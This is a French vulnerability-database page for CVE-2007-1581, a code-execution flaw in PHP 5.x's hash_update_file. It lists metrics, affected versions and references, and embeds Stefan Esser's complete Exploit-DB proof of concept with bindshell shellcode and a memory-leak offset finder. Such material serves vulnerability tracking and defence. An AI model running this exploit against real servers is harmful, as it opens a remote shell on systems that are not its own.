CVE-2007-1581 : Détail

CVE-2007-1581

Code Injection
A03-Injection
1.87%V3
Network
2007-03-21
22h00 +00:00
2017-10-09
22h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The resource system in PHP 5.0.0 through 5.2.1 allows context-dependent attackers to execute arbitrary code by interrupting the hash_update_file function via a userspace (1) error or (2) stream handler, which can then be used to destroy and modify internal resources. NOTE: it was later reported that PHP 5.2 through 5.2.13 and 5.3 through 5.3.2 are also affected.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 3529

Date de publication : 2007-03-19 23h00 +00:00
Auteur : Stefan Esser
EDB Vérifié : Yes

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP hash_update_file() freed resource usage exploit // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); // linux x86 bindshell on port 4444 from Metasploit $shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46". "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f". "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6". "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06". "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc". "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d". "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65"; define("OFFSET", pack("L",findOffset())); class AttackStream { function stream_open($path, $mode, $options, &$opened_path) { return true; } function stream_read($count) { hash_final($GLOBALS['hid'], true); $GLOBALS['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(OFFSET, 3); return "A"; } function stream_eof() { return true; } function stream_seek($offset, $whence) { return false; } } stream_wrapper_register("attack", "AttackStream") or die("Failed to register protocol"); $hid = hash_init('md5'); hash_update_file($hid, "attack://nothing"); // This function uses the substr_compare() vulnerability // to get the offset. function findOffset() { global $offset_1, $offset_2, $shellcode; // We need to NOT clear these variables, // otherwise the heap is too segmented global $memdump, $d, $arr; $sizeofHashtable = 39; $maxlong = 0x7fffffff; // Signature of a big endian Hashtable of size 256 with 1 element $search = "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00"; $memdump = str_repeat("A", 8192); for ($i=0; $i<400; $i++) { $d[$i]=array(); } unset($d[350]); $x = str_repeat("\x01", $sizeofHashtable); unset($d[351]); unset($d[352]); $arr = array(); for ($i=0; $i<129; $i++) { $arr[$i] = 1; } $arr[$shellcode] = 1; for ($i=0; $i<129; $i++) { unset($arr[$i]); } // If the libc memcmp leaks the information use it // otherwise we only get a case insensitive memdump $b = substr_compare(chr(65),chr(0),0,1,false) != 65; for ($i=0; $i<8192; $i++) { $y = substr_compare($x, chr(0), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b); if ($y-$Y == 1 || $Y-$y==1){ $y = chr($y); if ($b && strtoupper($y)!=$y) { if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) { $y = strtoupper($y); } } $memdump[$i] = $y; } else { $y = substr_compare($x, chr(1), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b); if ($y-$Y != 1 && $Y-$y!=1){ $memdump[$i] = chr(1); } else { $memdump[$i] = chr(0); } } } // Search hashtable to get the shellcode offset $pos_hashtable = strpos($memdump, $search); if ($pos_hashtable == 0) { die ("Unable to find the offset"); } $addr = substr($memdump, $pos_hashtable+6*4, 4); $addr = unpack("L", $addr); return ($addr[1] + 32); } ?> # milw0rm.com [2007-03-20]

Products Mentioned

Configuraton 0

Php>>Php >> Version 5.0

    Php>>Php >> Version 5.0

      Php>>Php >> Version 5.0

        Php>>Php >> Version 5.0.0

        Php>>Php >> Version 5.0.1

        Php>>Php >> Version 5.0.2

        Php>>Php >> Version 5.0.3

        Php>>Php >> Version 5.0.4

        Php>>Php >> Version 5.0.5

        Php>>Php >> Version 5.1.0

        Php>>Php >> Version 5.1.1

        Php>>Php >> Version 5.1.2

        Php>>Php >> Version 5.1.3

        Php>>Php >> Version 5.1.4

        Php>>Php >> Version 5.1.5

        Php>>Php >> Version 5.1.6

        Php>>Php >> Version 5.2.0

        Php>>Php >> Version 5.2.1

        Php>>Php >> Version 5.2.2

        Php>>Php >> Version 5.2.3

        Php>>Php >> Version 5.2.4

        Php>>Php >> Version 5.2.5

        Php>>Php >> Version 5.2.6

        Php>>Php >> Version 5.2.7

        Php>>Php >> Version 5.2.8

        Php>>Php >> Version 5.2.9

        Php>>Php >> Version 5.2.10

        Php>>Php >> Version 5.2.11

        Php>>Php >> Version 5.2.12

        Php>>Php >> Version 5.2.13

        Php>>Php >> Version 5.3.0

        Php>>Php >> Version 5.3.1

        Php>>Php >> Version 5.3.2

        Références

        https://www.exploit-db.com/exploits/3529
        Tags : exploit, x_refsource_EXPLOIT-DB
        http://secunia.com/advisories/24542
        Tags : third-party-advisory, x_refsource_SECUNIA
        http://www.securityfocus.com/bid/23062
        Tags : vdb-entry, x_refsource_BID